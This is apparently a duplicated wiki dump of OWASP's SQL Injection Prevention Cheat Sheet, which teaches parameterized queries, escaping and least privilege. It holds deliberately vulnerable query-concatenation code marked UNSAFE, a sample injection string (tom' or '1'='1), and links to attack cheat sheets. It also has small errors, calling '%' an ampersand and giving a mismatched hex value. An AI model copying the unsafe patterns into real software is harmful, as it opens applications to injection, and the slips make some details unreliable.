To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:
* Oracle
* MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:
* SQL Server
* PostgreSQL

If your database encoder is missing, please let us know.

===Database Specific Escaping Details===

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:
* Oracle
* SQL Server
* DB2

====Oracle Escaping====

This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

=====Escaping Dynamic Queries=====

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

You would rewrite the first line to look like this:

'''Codec ORACLE_CODEC = new OracleCodec();'''
String query = "SELECT user_id FROM user_data WHERE user_name = '" +
'''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))''' + "' and user_password = '"
+ '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd"))''' +"'";

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder.

Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ '''oe.encode( req.getParameter("userID"))''' + "' and user_password = '"
+ '''oe.encode( req.getParameter("pwd"))''' +"'";

With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.

=====Turn off character replacement=====

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information

=====Escaping Wildcard characters in Like Clauses=====

The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:

SELECT name FROM emp
WHERE id LIKE '%/_%' ESCAPE '/';

SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';

=====Oracle 10g escaping=====

<nowiki>An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.</nowiki>

====MySQL Escaping====

MySQL supports two escaping modes:

# ANSI_QUOTES SQL mode, and a mode with this off, which we call
# MySQL mode.

ANSI SQL mode: Simply encode all ' (single tick) characters with '' (two single ticks)

MySQL mode, do the following:

NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \Z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric character.

This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

====SQL Server Escaping====

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx

====DB2 Escaping====
This information is based on DB2 WebQuery special characters found here: https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983
as well as some information from Oracle's JDBC DB2 driver found here:
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html

Information in regards to differences between several DB2 Universal drivers can be found here: http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm

===Hex-encoding all input===

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

SELECT ... FROM session
WHERE hex_encode (sessionID) = '616263313233'

(hex_encode should be replaced by the particular facility for the database being used.) The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

WHERE hex_encode ( ... ) = '2720 ... '

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

===Escaping SQLi in PHP===

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

 You basically have two options to achieve this: 

1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):
<pre>
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array('name' => $name));

foreach ($stmt as $row) {
// do something with $row
}
</pre>
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):
<pre>
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
</pre>
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).

= Additional Defenses =

Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:

* '''Least Privilege'''
* '''White List Input Validation'''

== Least Privilege ==

To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.

If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.

SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.

While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.

=== Multiple DB Users ===

The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.

As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.

=== Views ===

You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords. The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself. Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.

== White List Input Validation ==

In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.
 

=Related Articles=

'''SQL Injection Attack Cheat Sheets'''

The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:

* "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* "Bypassing WAF's with SQLi" - [[SQL Injection Bypassing WAF]]

'''Description of SQL Injection Vulnerabilities'''

* OWASP article on [[SQL Injection]] Vulnerabilities
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities

'''How to Avoid SQL Injection Vulnerabilities'''

* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]

'''How to Review Code for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities

'''How to Test for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities

 

= Authors and Primary Editors =

[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org 
[[User:jmanico|Jim Manico]] - jim[at]owasp.org 
Matt Seil - mseil[at]acm.org 
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

SQL Injection Prevention Cheat Sheet

2018-02-07T04:04:57Z

Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ reflect absence of concrete codecs in the "active" ESAPI

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:

# the significant prevalence of SQL Injection vulnerabilities, and
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:
a) stop writing dynamic queries; and/or
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.

Primary Defenses:
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''
* '''Option 2: Use of Stored Procedures'''
* '''Option 3: White List Input Validation'''
* '''Option 4: Escaping All User Supplied Input'''

Additional Defenses:
* '''Also: Enforcing Least Privilege'''
* '''Also: Performing White List Input Validation as a Secondary Defense'''
 
;Unsafe Example

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

=Primary Defenses=

==Defense Option 1: Prepared Statements (with Parameterized Queries)==

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:
* Java EE – use PreparedStatement() with bind variables
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
* PHP – use PDO with strongly typed parameterized queries (using bindParam())
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

;Safe Java Prepared Statement Example

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

'''PreparedStatement pstmt = connection.prepareStatement( query );'''
'''pstmt.setString( 1, custname); '''
ResultSet results = pstmt.executeQuery( );

;Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

String query =
"SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
'''command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));'''
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:

;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

First is an unsafe HQL Statement

Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");

Here is a safe version of the same query using named parameters

Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

== Defense Option 2: Stored Procedures ==

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8

;Safe Java Stored Procedure Example

The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

String custname = request.getParameter("customerName"); // This should REALLY be validated
try {
'''CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");'''
'''cs.setString(1, custname);'''
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}

;Safe VB .NET Stored Procedure Example

The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Try
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
'''command.CommandType = CommandType.StoredProcedure'''
'''command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))'''
Dim reader As SqlDataReader = command.ExecuteReader()
‘ …
Catch se As SqlException
‘ error handling
End Try

== Defense Option 3: White List Input Validation ==

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.

String tableName;
switch(PARAM):
case "Value1": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
...
default : throw new InputValidationException("unexpected value provided for table name");

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:

public String someMethod(boolean sortOrder) {

String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");
...

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].

==Defense Option 4: Escaping All User-Supplied Input==

This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.
* [https://github.com/ESAPI/esapi-java-legacy The legacy ESAPI for Java 2.x at GitHub] helps understand existing use of it when Javadoc seems insufficient.
* [https://github.com/ESAPI/esapi-java The planned ESAPI for Java 3.x GitHub] has other approaches and no tests or concrete codecs.

To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:
* Oracle
* MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:
* SQL Server
* PostgreSQL

If your database encoder is missing, please let us know.

===Database Specific Escaping Details===

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:
* Oracle
* SQL Server
* DB2

====Oracle Escaping====

This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

=====Escaping Dynamic Queries=====

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

You would rewrite the first line to look like this:

'''Codec ORACLE_CODEC = new OracleCodec();'''
String query = "SELECT user_id FROM user_data WHERE user_name = '" +
'''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))''' + "' and user_password = '"
+ '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd"))''' +"'";

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder.

Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ '''oe.encode( req.getParameter("userID"))''' + "' and user_password = '"
+ '''oe.encode( req.getParameter("pwd"))''' +"'";

With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.

=====Turn off character replacement=====

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information

=====Escaping Wildcard characters in Like Clauses=====

The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:

SELECT name FROM emp
WHERE id LIKE '%/_%' ESCAPE '/';

SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';

=====Oracle 10g escaping=====

<nowiki>An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.</nowiki>

====MySQL Escaping====

MySQL supports two escaping modes:

# ANSI_QUOTES SQL mode, and a mode with this off, which we call
# MySQL mode.

ANSI SQL mode: Simply encode all ' (single tick) characters with '' (two single ticks)

MySQL mode, do the following:

NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \Z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric character.

This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

====SQL Server Escaping====

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx

====DB2 Escaping====
This information is based on DB2 WebQuery special characters found here: https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983
as well as some information from Oracle's JDBC DB2 driver found here:
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html

Information in regards to differences between several DB2 Universal drivers can be found here: http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm

===Hex-encoding all input===

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

SELECT ... FROM session
WHERE hex_encode (sessionID) = '616263313233'

(hex_encode should be replaced by the particular facility for the database being used.) The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

WHERE hex_encode ( ... ) = '2720 ... '

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

===Escaping SQLi in PHP===

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

 You basically have two options to achieve this: 

1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):
<pre>
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array('name' => $name));

foreach ($stmt as $row) {
// do something with $row
}
</pre>
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):
<pre>
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
</pre>
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).

= Additional Defenses =

Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:

* '''Least Privilege'''
* '''White List Input Validation'''

== Least Privilege ==

To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.

If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.

SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.

While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.

=== Multiple DB Users ===

The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.

As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.

=== Views ===

You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords. The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself. Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.

== White List Input Validation ==

In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.
 

=Related Articles=

'''SQL Injection Attack Cheat Sheets'''

The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:

* "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* "Bypassing WAF's with SQLi" - [[SQL Injection Bypassing WAF]]

'''Description of SQL Injection Vulnerabilities'''

* OWASP article on [[SQL Injection]] Vulnerabilities
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities

'''How to Avoid SQL Injection Vulnerabilities'''

* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]
